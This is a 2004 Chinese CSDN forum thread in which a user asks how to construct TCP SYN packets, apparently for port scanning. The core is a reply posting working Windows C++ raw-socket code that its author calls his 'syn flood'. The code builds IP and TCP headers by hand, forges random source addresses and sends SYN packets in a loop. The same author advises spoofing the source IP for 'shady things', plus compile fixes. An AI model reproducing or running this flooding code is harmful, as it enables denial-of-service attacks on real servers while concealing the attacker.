社区
网络编程
帖子详情
如何用系统调用来构造SYN数据包?
nbczhouyi
2004-12-21 11:33:10
这个问题可能比较麻烦,我搜索了网上,好像没有相关的资料
...全文
276
12
打赏
收藏
如何用系统调用来构造SYN数据包?
这个问题可能比较麻烦,我搜索了网上,好像没有相关的资料
复制链接
扫一扫
分享
转发到动态
举报
AI
作业
写回复
配置赞助广告
用AI写文章
12 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
property1
2004-12-21
打赏
举报
回复
要用 原始套接字
自己填写 ip tcp 头了, 象上面的
iq199
2004-12-21
打赏
举报
回复
其中一些类型定义
//IP首部
struct IP_HEADER
{
#ifdef BO_BIG_ENDIAN
UINT08_T version:4,
ihl:4;
#endif
#ifdef BO_LITTLE_ENDIAN
UINT08_T ihl:4,
version:4;
#endif
UINT08_T tos;
UINT16_T total_len;
UINT16_T ident;
#ifdef BO_BIG_ENDIAN
UINT16_T flags:3,
frag:13;
#endif
#ifdef BO_LITTLE_ENDIAN
UINT16_T frag:13,
flags:3;
#endif
UINT08_T ttl;
UINT08_T protocol;
UINT16_T checksum;
UINT32_T saddr;
UINT32_T daddr;
};
//UDP与TCP伪首部
struct PSD_HEADER
{
UINT32_T saddr;
UINT32_T daddr;
UINT08_T mbz;
UINT08_T protocol;
UINT16_T len;
};
//TCP首部
struct TCP_HEADER
{
UINT16_T sport;
UINT16_T dport;
UINT32_T seq;
UINT32_T ackseq;
#ifdef BO_BIG_ENDIAN
UINT16_T len:4,
res1:4,
res2:2,
urg:1,
ack:1,
psh:1,
rst:1,
syn:1,
fin:1;
#endif
#ifdef BO_LITTLE_ENDIAN
UINT16_T res1:4,
len:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
res2:2;
#endif
UINT16_T win_size;
UINT16_T checksum;
UINT16_T urgentp;
};
iq199
2004-12-21
打赏
举报
回复
这是我写的syn flood中的主要的代码
int send_tcp_syn(char *daddr_str, UINT16_T dport, int count/* = 1 */, char *saddr_str/* = NULL */, UINT16_T sport/* = 0 */)
{
SOCKET sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
if (sock == INVALID_SOCKET)
{
return -1;
}
int flag = true;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (const char *)&flag, sizeof(int)) == SOCKET_ERROR)
{
closesocket(sock);
return -2;
}
int timeout = 1000;
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout, sizeof(timeout)) == SOCKET_ERROR)
{
closesocket(sock);
return -3;
}
IP_HEADER ip_header;
ip_header.version = 4;
ip_header.ihl = sizeof(JHUtilNET::IP_HEADER)/sizeof(UINT32_T);
ip_header.tos = 0;
ip_header.total_len = htons(sizeof(JHUtilNET::IP_HEADER)+sizeof(JHUtilNET::TCP_HEADER)); ;
ip_header.ident = htons(1);
ip_header.flags = 0;
ip_header.frag = 0;
ip_header.ttl = 128;
ip_header.protocol = IPPROTO_TCP;
ip_header.daddr = inet_addr(daddr_str);
JHUtilNET::PSD_HEADER psd_header;
psd_header.daddr = ip_header.daddr;
psd_header.mbz = 0;
psd_header.protocol = IPPROTO_TCP;
psd_header.len = htons(sizeof(JHUtilNET::TCP_HEADER));
JHUtilNET::TCP_HEADER tcp_header;
tcp_header.dport = htons(dport);
tcp_header.ackseq = 0;
tcp_header.len = (sizeof(JHUtilNET::TCP_HEADER) / 4);
tcp_header.res1 = 0;
tcp_header.res2 = 0;
tcp_header.urg = 0;
tcp_header.ack = 0;
tcp_header.urg = 0;
tcp_header.psh = 0;
tcp_header.rst = 0;
tcp_header.syn = 1;
tcp_header.fin = 0;
tcp_header.win_size = htons(512);
tcp_header.urgentp = 0;
char tcp_header_buf[sizeof(JHUtilNET::PSD_HEADER) + sizeof(JHUtilNET::TCP_HEADER)];
char ip_buf[sizeof(JHUtilNET::IP_HEADER) + sizeof(JHUtilNET::TCP_HEADER)];
SOCKADDR_IN dest_addr;
memset((void*)&dest_addr, 0, sizeof(SOCKADDR_IN));
dest_addr.sin_family = AF_INET;
dest_addr.sin_addr.S_un.S_addr = ip_header.daddr;
srand((unsigned int)time(NULL));
for (int i = 0; i < count; i++)
{
if (saddr_str == NULL || strlen(saddr_str) == 0)
ip_header.saddr = (UINT32_T)rand() << 16 | rand();
else
ip_header.saddr = inet_addr(saddr_str);
ip_header.checksum = 0;
ip_header.checksum = JHUtilNET::checksum((UINT16_T*)&ip_header, sizeof(JHUtilNET::IP_HEADER));
psd_header.saddr = ip_header.saddr;
tcp_header.seq = (UINT32_T)rand() << 16 | rand();
if (sport == 0)
tcp_header.sport = (UINT16_T)rand();
else
tcp_header.sport = htons(sport);
tcp_header.checksum = 0;
memcpy(tcp_header_buf, &psd_header, sizeof(JHUtilNET::PSD_HEADER));
memcpy(tcp_header_buf + sizeof(JHUtilNET::PSD_HEADER), &tcp_header, sizeof(JHUtilNET::TCP_HEADER));
tcp_header.checksum = JHUtilNET::checksum((UINT16_T*)tcp_header_buf, sizeof(JHUtilNET::PSD_HEADER) + sizeof(JHUtilNET::TCP_HEADER));
memcpy(ip_buf, &ip_header, sizeof(JHUtilNET::IP_HEADER));
memcpy(ip_buf + sizeof(JHUtilNET::IP_HEADER), &tcp_header, sizeof(JHUtilNET::TCP_HEADER));
int return_val = sendto(sock, ip_buf, sizeof(JHUtilNET::IP_HEADER) + sizeof(JHUtilNET::TCP_HEADER), 0, (sockaddr*)&dest_addr, sizeof(SOCKADDR_IN));
if (return_val == SOCKET_ERROR)
{
closesocket(sock);
return -4;
}
}
closesocket(sock);
return 0;
}
partime
2004-12-21
打赏
举报
回复
搜索RawSocket
nbczhouyi
2004-12-21
打赏
举报
回复
回复 HanZhu1(寒竹) 不是,我想扫描端口,不想用Connect方法来扫描,想用TCP SYN扫描
HanZhu1
2004-12-21
打赏
举报
回复
你想做 拒绝服务 攻击啊
nbczhouyi
2004-12-21
打赏
举报
回复
现在还是有一个问题
error C2065: 'dport' : undeclared identifier
dport是在TCP_HEADER里定义的阿
nbczhouyi
2004-12-21
打赏
举报
回复
我只是在学习网络编程,只是个菜鸟了
iq199
2004-12-21
打赏
举报
回复
另外,在windows下,再
#define BO_LITTLE_ENDIAN
这样就不会
“下面的变量老是出错说 not a member of 'IP_HEADER'”
我的函数源地址saddr_str和源端口sport如果不指定,会随机生成。
做这种见不得人的事情,还是伪造源ip比较好~
iq199
2004-12-21
打赏
举报
回复
typedef unsigned __int8 UINT08_T;
typedef unsigned __int16 UINT16_T;
typedef unsigned __int32 UINT32_T;
typedef unsigned __int64 UINT64_T;
我这样写主要想到unix下编译修改少一些
包含afxsock.h就行了,afxsock.h里面已经包含了winsock2.h
另外,在我前面的那些ip头、tcp头结构定义的最前面,加上
#pragma pack(push, 1)
(单字对齐)
nbczhouyi
2004-12-21
打赏
举报
回复
#define UINT08_T BYTE
#define UINT16_T WORD
#define UINT32_T DWORD
这样定义行不?
下面的变量老是出错说 not a member of 'IP_HEADER'
version
ihl
flags
frag
nbczhouyi
2004-12-21
打赏
举报
回复
UINT32_T
UINT16_T
UINT08_T
你是怎么定义的阿?
还有我现在用的是MFC编程,已经包含了头文件#include <afxsock.h>
如果再包含#include <winsock2.h>就会出现许多的结构被重定义的错误,是不是非得重新建一个工程阿 ?
c++实现发送
syn
数据包
自己写的一个发送tcp的
syn
数据包
的程序,能够根据指定ip发送相应的
syn
数据包
。
通过发送 TCP
SYN
数据包
测量网络往返延迟_Go语言_代码_相关文件_下载
更多详情、使用方法,请下载后阅读README.md文件
tcp.rar_sendto TCP_tcp
数据包
TCP
数据包
的填充并发送,考虑到课设并没有严格要求我们成功发送到目的地,所以利用函数sendto()来实现
数据包
的发送,这种方式不可靠,只能保证数据是否从源地发送出去,至于有没有到达目的地就不管了。
Python伪造TCP
数据包
1
Urgent Pointers是紧急指针,16位,只有URG标志位被设置时该字段才有意义,表示紧急数据相对序Python伪造TCP
数据包
- 马克飞象 - 专为
计算机网络课程设计 发送tcp
数据包
无bug源代码,设计报告全文,打包完整版本,可做适当修改
网络编程
18,363
社区成员
64,187
社区内容
发帖
与我相关
我的任务
网络编程
VC/MFC 网络编程
复制链接
扫一扫
分享
社区描述
VC/MFC 网络编程
c++
c语言
开发语言
技术论坛(原bbs)
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章